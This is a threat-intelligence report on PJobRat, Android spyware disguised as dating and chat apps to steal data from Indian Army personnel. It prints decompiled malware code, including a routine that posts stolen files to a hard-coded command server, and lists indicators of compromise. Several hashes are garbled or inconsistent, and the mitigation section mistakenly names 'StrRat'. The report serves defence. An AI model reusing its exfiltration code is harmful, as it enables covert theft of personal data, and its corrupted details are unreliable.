PJobRat Malware

Malware Attack On Indian Army Officials
Executive Summary

PJobRAT disguised as an Indian dating and instant messaging app was used to steal personal information from Indian Army Personals. The malware is written in java and packed as an apk file that employs several techniques to stay hidden on android smartphones.

Malware campaign began in January 2021 mainly targeted Indian Army officers and stole information such as address book, sms data, audio files, video files, images, list of installed applications, wifi metadata, geographic location data and other things.

The campaign disguised malware as the latest version of Indian dating and marriage application Trendbanter. Trendbanter is a premier dating and marriage application available to download from third party app stores. Thus users were tricked into downloading malicious applications.

The campaign was executed using the PJobRat malware family, This malware was first seen at the end of December 2019. This malware was created for android based smartphones and written entirely in java. Attacker requires a social engineering attack vector in order to install this malware on an android smartphone and once that is done, the malware can work independently.

Description

Malware campaign began in January 2021 and consists of two parts, first the user was tricked into downloading a malicious application disguised as Trendbanter, second the malware will employ various techniques such as using different app icons, staying hidden from application drawer etc in order to stay hidden on the android phone and steal data for long periods of time.

Campaign was created to target Indian Army. The malware collected and exfiltrated huge amounts of data to a remote web server. Malware tries to steal what app chat history, address book information, sms history, audio files, video files, image files, list of installed Application, list of external Storage devices, Wifi and GPS Location, phone number, Call Recordings etc.

Firebase Cloud Message (FCM) and HTTP were used in order to exfiltrate data and communicate with the command and control server. Uses of these two communication channels is common among android based malware.
Detailed Analysis

Analysis of Malicious APK File

File identification

**MD5:** 7bef7a2a6ba1b2aceb84ff3adb5db8b3  
**Sha1:** 32ebe4db2a7b0a1445c95ec49bce2a0057b3d66f  
**Sha256:** 04366d01542cba82787433d0d565c13b227a08fc6657bcb34269de48e452543a  
**SSDeep:** 98304:iiPgPtSc8V6K27J+8yBgx95FipxoXyYTATlWL5Bn7GLqTYZxXG4Wb:PlcLj27J+eDJRvW3PTigb

**File Size:** 4876385 Bytes

**Virus Total**

https://www.virustotal.com/gui/
file/04366d01542cba82787433d0d565c13b227a08fc6657bcb34269de48e452543a/details

**Malicious File Summary**

PJobRat malware is an RAT written in Java for android based smartphones and is spread in apk file format. Developers have made the malware to act as a stealer and respond to commands from command and control server, which is typically a behaviour of RAT.
Malware employs a few techniques to hide itself. It was noticed that it displays different icons on the application drawer and when viewed via the application manager. The icon displayed on the application drawer was of what app while one displayed on the application manager is of trend banter.

During the code analysis, it was found that malware stole any file that had a file extension of pdf, doc, docx, xls, xlsx, ppt, and pptx. For this functionality, it employed a simple “if” case to check the file extension belongs to the whitelist and returns true if it did.

The malware also abused the window node information through Android auxiliary functions to further obtain private data such as Whatsapp contact list and conversation messages.
Further malware offered abilities to steal data such as:

- Address book
- SMS History
- Audio files
- Video files
- Image files
- List of installed apps
- List of external storage files
- WiFi, geographic location and other device identify data
- Phone numbers
- Recordings

Data Exfiltration is done via http while commands are received from command control server via Firebase Cloud Message. C2 server sends commands to the malware via push notifications.

```
private void fcmToken(){
    try{
        FirebaseInstanceId.getInstance().addOnCompleteListener(new OnCompleteListener()
            @Override // com.google.android.gms.tasks.OnCompleteListener
            try {
                if (!arg4.isSuccessful()){
                    BgLogs.e("MApp.saveFcmToken.onComplete(): - "+
                            arg4.getException().toString());
                    MSettings.putString(MSettings.sp_key_fcm,
                            arg4.getException().toString());
                    MApp.this.remoteIp();
                    return;
                }
                if (arg4.isCanceled()){
                    BgLogs.e("MApp.saveFcmToken.onComplete(): - Task canceled");
                    MSettings.putString(MSettings.sp_key_fcm, "Task canceled");
                    MApp.this.remoteIp();
                    return;
                }
                if (arg4.isSuccessful()){
                    BgLogs.e("MApp.saveFcmToken.onComplete(): - Task completed");
                    MSettings.putString(MSettings.sp_key_fcm,
                            arg4.getResult().getToken());
                }
            } catch (Exception e){
                e.printStackTrace();
                BgLogs.e("MApp.saveFcmToken.onComplete(): - "+e.toString());
                MSettings.putString(MSettings.sp_key_fcm, e.toString());
            }
            MApp.this.remoteIp();
        }
    }
```

Malware is not feature rich and does not support many commands. Following is a list of commands that the malware supports.
<table>
<thead>
<tr>
<th>Command</th>
<th>Action Take By Malware</th>
</tr>
</thead>
<tbody>
<tr>
<td>cnt</td>
<td>Send Address Book</td>
</tr>
<tr>
<td>cnt_cng</td>
<td>Update Phone Number</td>
</tr>
<tr>
<td>smm</td>
<td>Exfil SMS</td>
</tr>
<tr>
<td>sound</td>
<td>Initiate Recording</td>
</tr>
<tr>
<td>single</td>
<td>Upload Single File</td>
</tr>
<tr>
<td>apk</td>
<td>Upload Specified APK File</td>
</tr>
<tr>
<td>appdb</td>
<td>Upload application database file</td>
</tr>
<tr>
<td>struct</td>
<td>Upload List of External Storage Files</td>
</tr>
<tr>
<td>multiple</td>
<td>Upload multiple Specified Library</td>
</tr>
<tr>
<td>dir</td>
<td>Upload Contents of Specified Directory</td>
</tr>
<tr>
<td>png</td>
<td>Upload wifi, geographic location and other information</td>
</tr>
<tr>
<td>loop</td>
<td>Generate an array of external storage files</td>
</tr>
</tbody>
</table>

Once the malware has received a command from the command and control via push message service, it will use http requests to exfiltrate victim's data. This is implemented via sendText method and is straight forward http post request php webservice.

```java
public static void sendText(String type, String filename, String fileData, String spkey) {
    try {
        new AsyncTask() {
            protected void doInBackground() {
                if (NetCheck.connectivity() == 1) {
                    return null;
                }
                String chkKey = "file";
                HttpURLConnection connection = (HttpURLConnection) new URL("http://144.91.65.181/secondteam2136/");
                connection.setConnectTimeout(300000);
                connection.setReadTimeout(300000);
                connection.setDoOutput(true);
                connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=-");
                connection.setRequestProperty("Keep-Alive", true);
                connection.setChunkedStreamingMode(0x400);
                DataOutputStream out = new DataOutputStream(connection.getOutputStream());
                out.writeBytes("\r\n---\n" + chkKey);
                out.writeBytes("\r\nContent-Disposition: form-data; name=" + chkKey + "\n" + fileData + "\n" + spkey);
                out.writeBytes("\r\n---\n" + chkKey);
                out.writeBytes("\r\nContent-Disposition: form-data; name=" + chkKey + "\n" + fileData + "\n" + spkey);
                out.writeBytes("\r\nContent-Disposition: form-data; name=" + chkKey + "\n" + fileData + "\n" + spkey);
                out.writeBytes("\r\nContent-Disposition: form-data; name=" + chkKey + "\n" + fileData + "\n" + spkey);
                out.writeBytes("\r\n---\n" + chkKey);
                out.writeBytes("\r\nContent-Disposition: form-data; name=" + chkKey + "\n" + fileData + "\n" + spkey);
                out.writeBytes("\r\nContent-Disposition: form-data; name=" + chkKey + "\n" + fileData + "\n" + spkey);
                out.writeBytes("\r\nContent-Disposition: form-data; name=" + chkKey + "\n" + fileData + "\n" + spkey);
                out.writeBytes("\r\n---\n" + chkKey);
            }
        }.execute();
    } catch (Exception e) {
        e.printStackTrace();
    }
}
```
During the time of analysis most of the command and control servers that the malware reached out to were dead. But other reports suggested that files on these php servers were stored insecurely and anyone could access them.

Overall the malware encountered in this campaign employed some techniques to hide itself as other applications and displayed different icons in app drawer and in app info but that was it when it comes to evasion techniques. It employed simple command and control data exfiltration techniques and stole everything that it could get its hand on. These types of attacks are common and are often targeted at government officials to steal their personal information in hopes of leaking government secrets.

### Other Variants Used In Campaign

<table>
<thead>
<tr>
<th>MD5 Hash</th>
<th>Disguised App Name</th>
<th>Disguised App Icon</th>
</tr>
</thead>
<tbody>
<tr>
<td>4ce92da8928a8d1d72289d126a9fe2f4</td>
<td>SignalLite</td>
<td>![SignalLite Icon]</td>
</tr>
<tr>
<td>a53c74fa923edce0fa5919d1f945bcc</td>
<td>SignalLite</td>
<td>![SignalLite Icon]</td>
</tr>
<tr>
<td>9fd4b37cbarf0d44795319977118d439d</td>
<td>HangOn</td>
<td>![HangOn Icon]</td>
</tr>
<tr>
<td>794b7c523bdf3dc38689209e1abb6dbc</td>
<td>HangOn</td>
<td>![HangOn Icon]</td>
</tr>
<tr>
<td>02998ab92e880db2a1d3b9e8f448d828</td>
<td>Rita</td>
<td>![Rita Icon]</td>
</tr>
<tr>
<td>44cd76e590a1c8f0b8a2091884d9f699</td>
<td>Rita</td>
<td>![Rita Icon]</td>
</tr>
<tr>
<td>807668ed4b3bd090a3b5fb57e742be0d</td>
<td>Ponam</td>
<td>![Ponam Icon]</td>
</tr>
</tbody>
</table>
Indicator of Compromise

URLs Called

- http://144.91.65.101/senewteam2136/mainfiles/file_handler.php
- http://144.91.65.101/senewteam2137/mainfiles/file_handler.php
- https://helloworld.bounceme.net/axbxcxdx123/test.php
- http://gemtool.sytes.net:9863/shfppdlsIfz_5699_hqp2o0o-3cMV/s-jdf578hj_p-lm235_za00o-q/sjdf0o02hq877pnzxii_iio0ipXww.php
- http://api.ipify.org/
- http://gemtool.sytes.net/shfppdlsIfz_5699_hqp2o0o-3cMV/s-jdf578hj_p-lm235_za00o-q/sjdf0o02hq877pnzxii_iio0ipXww.php

IP’s Reached Out

- 93.104.215.45

ViewDNS.info > Tools > IP Location Finder

This tool will display geographic information about a supplied IP:

IP Address:

GO

IP Location Results for 93.104.215.45

City: Munich
Zip Code: 81549
Region Code: BY
Region Name: Bavaria
Country Code: DE
Country Name: Germany
Latitude: 48.1089
Longitude: 11.6074
GMT Offset: 
DST Offset:
142.250.65.68

ViewDNS.info > Tools > IP Location Finder

This tool will display geographic information about a supplied IP:

IP Address: [Field]

IP Location Results for 142.250.65.68

City: [Field]
Zip Code: [Field]
Region Code: [Field]
Region Name: [Field]
Country Code: US
Country Name: United States
Latitude: 37.751
Longitude: -97.822
GMT Offset: [Field]
DST Offset: [Field]

172.217.13.78

ViewDNS.info > Tools > IP Location Finder

This tool will display geographic information about a supplied IP:

IP Address: [Field]

IP Location Results for 172.217.13.78

City: [Field]
Zip Code: [Field]
Region Code: [Field]
Region Name: [Field]
Country Code: US
Country Name: United States
Latitude: 37.751
Longitude: -97.822
GMT Offset: [Field]
DST Offset: [Field]

54.235.175.90

ViewDNS.info > Tools > IP Location Finder

This tool will display geographic information about a supplied IP:

IP Address: [Field]

IP Location Results for 54.235.175.90

City: Ashburn
Zip Code: 20149
Region Code: VA
Region Name: Virginia
Country Code: US
Country Name: United States
Latitude: 39.0481
Longitude: -77.4728
GMT Offset: [Field]
DST Offset: [Field]
• 35.201.97.85

ViewDNS.info > Tools > IP Location Finder

This tool will display geographic information about a supplied IP.

IP Address: [Input Field]

IP Location Results for 35.201.97.85

City: 
Zip Code: 9
Region Code: CA
Region Name: California
Country Code: US
Country Name: United States
Latitude: 34.9544
Longitude: -118.244
GMT Offset:
DST Offset:

• 142.250.65.68

ViewDNS.info > Tools > IP Location Finder

This tool will display geographic information about a supplied IP.

IP Address: [Input Field]

IP Location Results for 142.250.65.68

City: 
Zip Code: 0
Region Code: 
Region Name: 
Country Code: US
Country Name: United States
Latitude: 37.751
Longitude: -97.822
GMT Offset:
DST Offset:

Files Dropped

• e4be30cf-25ea-43b2-8edd-a0e798814753_trendbanter_v2_08122020_ping.txt
• e4be30cf-25ea-43b2-8edd-a0e798814753_trendbanter_v2_08122020_contacts.txt
• e4be30cf-25ea-43b2-8edd-a0e798814753_trendbanter_v2_08122020_apps.txt
Other Variants

- 7bef7a2a6ba1b2aceb84ff3adb5db8b3
- 4ce92da8928a8d1d72289d126a9fe2f4
- a53c74fa923edce0fa5919d11f945bcc
- 9fd4b37cbaf0d44795319977118d439d
- 794b7c523bdf3dc38689209e1abb6dbc
- 02998ab92e880db2a1ddbc98f448d828
- 44cd76e590a1c8f0b8a2091884d9f699
- 807668ed4b3bd090a3b5fb57e742be0d

Permissions Requested

- android.permission.ACCESS_COARSE_LOCATION
- android.permission.ACCESS_FINE_LOCATION
- android.permission.ACCESS_NETWORK_STATE
- android.permission.ACCESS_WIFI_STATE
- android.permission.AUTHENTICATE_ACCOUNTS
- android.permission.BIND_ACCESSIBILITY_SERVICE
- android.permission.BIND_JOB_SERVICE
- android.permission.BIND_WALLPAPER
- android.permission.GET_ACCOUNTS
- android.permissionINTERNET
- android.permission.READ_CONTACTS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.READ_PHONE_STATE
- android.permission.READ_PRIVILEGED_PHONE_STATE
- android.permission.READ_SMS
- android.permission.READ_SYNC_SETTINGS
- android.permission.RECEIVE_BOOT_COMPLETED
- android.permission.RECORD_AUDIO
- android.permission.WAKE_LOCK
- android.permission.WRITE_CONTACTS
- android.permission.WRITE_SYNC_SETTINGS
- com.google.android.c2dm.permission.RECEIVE
- com.google.firebase.auth.api.gms.permission.LAUNCH_FEDERATED_SIGN_IN
Mitigation Strategy And Techniques

IDS Rules For Detection Of Data Exfiltration

Microsoft 365 Defender can be used to defend systems from this strain of malware. Following queries can be used in order to identify malicious behaviour related to StrRat and similar threats.

```
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET INFO DYNAMIC_DNS HTTP Request to a *.sytes.net Domain"; flow:established,to_server; http .host; content:".sytes.net"; endswith; classtype:bad -unknown; sid:2018219; rev:9; metadata:created_at 2012_03_05, updated_at 2020_09_15;)
```

Downloading Files From Untrusted Sources

Downloading and installing apks from untrusted sources is always a bad idea therefore it should be avoided. During this campaign the only propagation vector was tricking users into downloading malicious apks.

Disable the installation of apps from unknown sources

It is recommended to disabled installing apps from unknown sources such as the internet or anything else but google play store.

Update Your Device When Prompted

Android receives regular security patches that should be installed as soon as they are released. They help to a great extent in reducing attack surface and stopping malwares.

Check Application Permission During Installation

It is a good rule of thumb to always check the permissions an application asks when being installed. Applications that ask for more permissions than they require are often abusing the privilege given to them and stealing data.
References:
2. https://www.virustotal.com/gui/file/04366d01542c82e876433d0d565c1b227a08fc6657bcb342694e48e452543a/behavior/VirusTotal%20R2DBox
3. https://www.virustotal.com/gui/file/c9db17ede3177c6fd13-fa90259733dcbca9be8fbd43f0059efd6ec35acbdad2b48/detection
4. https://www.virustotal.com/gui/file/80bba403def61ad0c7-ba712595a90a44049464341de0d880c57823d8e9d7c94/detection
5. https://www.virustotal.com/gui/file/41576737cd3d9f1e04-ca0b7d49b412e9r935da78b2ea007c929d84d85012b011e/detection
6. https://www.virustotal.com/gui/file/34021375c1720620093699fd98ca2a2856ef4c77f42ff5c8fb02ad194817a235/detection
7. https://www.virustotal.com/gui/file/e8f9277887cef1d767a77cb99401875ffdbcc85b345f31a4b4e1b7003218f3f/detection
8. https://www.virustotal.com/gui/file/5c715-ca910ffbd80189cf27b05a5346f40bc466458e0223191d56be5a417c7b/detection
9. https://www.virustotal.com/gui/file/f491e27644a85915a1f92314c20e9fc63337a019f9463d34df262699d0a8a7ee/detection

Revision Table:

<table>
<thead>
<tr>
<th>VERSION</th>
<th>DESCRIPTION</th>
<th>STATUS</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Initial Public Release</td>
<td>Final</td>
</tr>
</tbody>
</table>

Issued by

Research wing: CyberPeace Foundation
Research Wing, Autobot Infosec Private Ltd.